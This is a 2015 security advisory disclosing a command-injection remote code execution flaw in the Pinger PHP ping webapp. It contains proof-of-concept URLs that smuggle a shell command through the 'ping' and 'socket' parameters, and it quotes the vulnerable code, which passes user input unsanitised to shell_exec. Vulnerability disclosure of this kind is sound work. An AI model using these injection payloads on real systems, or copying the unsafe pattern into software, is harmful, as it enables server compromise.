Pinger Remote Code Execution

`================================================================================  
Pinger - Simple Pinging Webapp Remote Code Execution  
================================================================================  
# Vendor Homepage: https://github.com/wcchandler/pinger  
# Date: 17/12/2015  
# Software Link: http://ehsansec.ir/apps/pinger-master.zip  
# Author: Ashiyane Digital Security Team  
# Contact: [email protected]  
# Source: http://ehsansec.ir/advisories/pinger-rce.txt  
================================================================================  
# Description:  
simple, easy to use jQuery frontend to php backend that pings various  
devices and changes colors from green to red depending on if device is  
up or down.  
  
# PoC :  
  
http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php  
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php  
  
  
# Vulnerabile code:  
  
if(isset($_GET['ping'])){  
// if this is ever noticably slower, i'll pass it stuff when called  
// change the good.xml to config.xml, good is what I use at $WORK  
$xml = simplexml_load_file("config.xml");  
//$xml = simplexml_load_file("good.xml");  
if($_GET['ping'] == ""){  
$host = "127.0.0.1";  
}else{  
$host = $_GET['ping'];  
}  
$out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout  
.' '.$host.' | grep received | awk \'{print $4}\''));  
$id = str_replace('.','_',$host);  
  
if(($out == "1") || ($out == "0")){  
echo json_encode(array("id"=>"h$id","res"=>"$out"));  
}else{  
## if it returns nothing, assume network is messed up  
echo json_encode(array("id"=>"h$id","res"=>"0"));  
}  
}  
  
if(isset($_GET['socket'])){  
$xml = simplexml_load_file("config.xml");  
//$xml = simplexml_load_file("good.xml");  
if($_GET['socket'] == ""){  
$host = "127.0.0.1 80";  
}else{  
$host = str_replace(':',' ',$_GET['socket']);  
}  
$out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1');  
$id = str_replace('.','_',$host);  
$id = str_replace(' ','_',$id);  
if(preg_match("/succeeded/",$out)){  
echo json_encode(array("id"=>"h$id","res"=>"1"));  
}else{  
## if it returns nothing, assume network is messed up  
echo json_encode(array("id"=>"h$id","res"=>"0"));  
}  
}  
  
?>  
  
================================================================================  
# Discovered By : Ehsan Hosseini  
================================================================================  
`